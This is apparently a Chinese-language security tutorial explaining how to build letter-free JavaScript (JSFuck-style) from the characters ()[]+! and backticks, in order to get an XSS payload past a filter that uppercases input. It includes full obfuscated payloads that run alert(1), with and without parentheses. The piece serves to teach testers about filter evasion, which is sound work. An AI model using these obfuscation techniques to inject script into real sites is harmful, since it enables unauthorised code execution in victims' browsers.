执行无字母的JavaScript语句

执行无字母的JavaScript语句

一、前言

在一次XSS测试中,往可控的参数中输入XSS Payload,发现目标服务把所有字母都转成了大写,假如我输入alert(1),会被转成ALERT(1),除此之外并没有其他限制,这时我了解到JavaScript中可以执行无字母的语句,从而可以绕过这种限制来执行XSS Payload

二、JS基础

先执行两段JS代码看下

([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]
([][[]]+[])[+!!~+!{}]+({}+{})[+!!{}+!!{}

两段js代码都输出了字符串”nb”,下面来分析下原因.
JS运算符的优先级

下面的表将所有运算符按照优先级的不同从高(20)到低(1)排列。

优先级运算类型关联性运算符
20圆括号n/a( … )
19成员访问从左到右… . …
19需计算的成员访问从左到右… [ … ]
19new (带参数列表)n/anew … ( … )
19函数调用从左到右… ( … )
19可选链(Optional chaining)从左到右?.
18new (无参数列表)从右到左new …
17后置递增(运算符在后)n/a… ++
17后置递减(运算符在后)n/a… —
16逻辑非从右到左! …
16按位非从右到左~ …
16一元加法从右到左+ …
16一元减法从右到左– …
16前置递增从右到左++ …
16前置递减从右到左— …
16typeof从右到左typeof …
16void从右到左void …
16delete从右到左delete …
16await从右到左await …
15从右到左… ** …
14乘法从左到右… * …
14除法从左到右… / …
14取模从左到右… % …
13加法从左到右… + …
13减法从左到右… – …
12按位左移从左到右… << …
12按位右移从左到右… >> …
12无符号右移从左到右… >>> …
11小于从左到右… < …
11小于等于从左到右… <= …
11大于从左到右… > …
11大于等于从左到右… >= …
11in从左到右… in …
11instanceof从左到右… instanceof …
10等号从左到右… == …
10非等号从左到右… != …
10全等号从左到右… === …
10非全等号从左到右… !== …
9按位与从左到右… & …
8按位异或从左到右… ^ …
7按位或从左到右…|…
6逻辑与从左到右… && …
5逻辑或从左到右…||…
4条件运算符从右到左… ? … : …
3赋值从右到左… = …
2yield*从右到左yield* …
1展开运算符n/a… …
1逗号从左到右… , …

以这个优先级对JS代码([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]来进行分解

先来看第一个分解的JS([][[]]+[]), 在()内[]的优先级高,会先处理,控制台执行看一下

JS类型转换

从分解的第一段js可以看到输出了字符串”undefined”,这里就涉及到类型转换。在JS中当操作符两边的操作数类型不一致或者不是原始类型,就需要类型转换。JS有5种原始类型,UndefinedNullBooleanNumberString

  • 乘号、除号/、减号-,肯定是做数学运算,就会转换成Number类型的。
  • 加号+,有可能是字符串拼接,也可能是数学运算,所以可能转化成Number或String。
  • 符号!,表示取反,会转换成Boolean类型。
  • 符号~,把操作数转成Number类型,取负运算在减1。
  • 一元运算加法、减法,都会转成Number类型。

在看下非原始类型转换规则

ToPrimitive(input, PreferredType?) 可选参数PreferredType是Number或者是String。返回值为任何原始值。如果PreferredType是Number,执行顺序如下:

1.如果input是原始值,直接返回这个值。

2.否则,如果input是对象,调用input.valueOf(),如果结果是原始值,返回结果。

3.否则,调用input.toString()。如果结果是原始值,返回结果。

4.否则,抛出TypeError。

如果转换的类型是String,2和3会交换执行,即先执行toString()方法。

ToNumber 运算符根据下表将其参数转换为数值类型的值

输入类型结果
undefinedNaN
Null+0
Boolean如果参数是 true,结果为 1。如果参数是 false,此结果为 +0
Number不转换
String“” 转换成 0,”123″转换成”123″,无法解析的转换成NaN
Object调用ToPrimitive(input, Number)

ToBoolean 运算符根据下表将其参数转换为布尔值类型的值

输入类型结果
undefinedfalse
Nullfalse
Boolean不转换
Number如果参数是 +0, -0, 或 NaN,结果为 false,否则结果为 true。
String如果参数参数是空字符串(其长度为零),结果为 false,否则结果为 true。
Objecttrue

ToString 运算符根据下表将其参数转换为字符串类型的值

输入类型结果
undefined“undefined”
Null“null”
Boolean如果参数是 true,那么结果为 “true”。如果参数是 false,那么结果为 “false”。
String不转换
Number数字转成字符串 例如 123转成”123″
Object调用ToPrimitive(input, String)

分解步骤

第一段JS([][[]]+[])根据优先级会先执行[],[]会定义一个空数组,[[]]会定义一个二维数组,那么[][[]]就是在一个空数组里面去寻找下标是一个非数字的值,肯定会返回undefined。到这可以分解成undefined+[],因为两把的操作数类型不一致,这里会调用ToPrimitive来进行转换

undefined根据上面的规则可以得知会转换成字符串”undefined”,这时就是执行"undefined"+"",结果就是"undefined"字符串。

第二段JS[+!+[]],会先执行里面的[]会定义一个空数组, 因为一元运算的原因会从右到左,那么+[]就会调用ToNumber,因为[]Object类型所以会调用ToPrimitive,而[].toString()会返回""字符串,此时会执行+"",此时""会使用ToNumber进行转换,结果会是0。后面接着会用!进行取反,因为0不是Boolean类型,会调用ToBoolean进行类型转换,会转成false,对false取反会得到true,接着执行+true,会用ToNumbertrue进行类型转换,会得到1,那么最终结果就是[1]

第三段JS([]+{}),[]通过ToPrimitive会得到""字符串,{}对象通过ToPrimitive会得到"[object Object]"字符串。

第四段JS[+!+[]+!+[]],根据优先级先执行[],+[]得到0,!0得到true,+true得到数字1,1+1则等于2,最终结果是[2]

最终把这4小段js代码结果拼接起来看下,"undefined"[1]+"[object Object]"[2]。执行就会得到字符串"nb"

三、分析JSFuck

JSFuck使用六个不同的字符()[]+!来编写和执行任意JS代码,在JS基础中讲述了如何通过几个字符来生成任意的字符串,JsFuck不仅只是生成字符串,还可以执行任意JS代码。

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])()

在控制台执行上面的JS,浏览器会弹出一个对话框内容是1。

经过一步步拆解,最后执行的JS代码是[]["fill"]["constructor"]("alert(1)")(),那这段代码为啥会执行alert(1)呢,通过控制台分解看下。

[]["fill"]获取数组的fill方法。在JS中每个函数实际上都是Function 对象,所以能[]["fill"]["constructor"]这样去获取fill的构造函数,换一个其它的函数也可以的比如popmap等等。执行[]["fill"]["constructor"]("alert(1)")()相当于执行了Function('alert(1)')() ,在Function()构造函数中,最后一个实参所表示的文本是函数体,它可以包含任意的JS语句,使用()调用时所以会执行alert(1),而不是字符串"alert(1)"

四、去掉括号

在前面的例子中都用到了()符号,用来进行分割语法,这里在看一个不用()的例子。

[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```

最后分解成这样的

[]["constructor"]["constructor"]`$${['false'][0][1]+['false'][0][2]+['false'][0][4]+['true'][0][1]+['true'][0][0]+["function find() { [native code] }"][0][13]+1+["function find() { [native code] }"][0][14]}$```

可以看到Function这里用`符号替换括号。alert(1)这里的括号获取方式是["function find() { [native code] }"][0][13],这里找了find函数然后转成字符串赋值在数组里面,获取这个字符串的过程是[[]['find']['constructor'].toString()],然后从数组里面取出来字符串,在截取下标位置是13、14,对应(和)符号。$符号是为了定义函数的参数,不加这个语法在解析的时候会报错。

有括号执行alert(1)字符串长度是976,没有括号字符长度是1289。前面说过目标服务只是把小写字母转成了大写,大写字母和数字还是可以正常使用的,可以使用数字就不用一个个的加了,可以使用大写字母可以把重复出现的字母定义成变量,这样就不用每次去转换了。

把要出现的字符都集中在一个变量里面

X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];

然后直接取字符串的下标

[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()

执行的时候直接合成一行,整个字符的长度是226

X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()

浏览器会成功执行alert(1)

五、总结

在做测试的时候,首先可以确定下对哪些字符进行了过滤,然后再找其它的方法去替换过滤的字符,比如用`符号替换括号,用.join替换+号等等。

from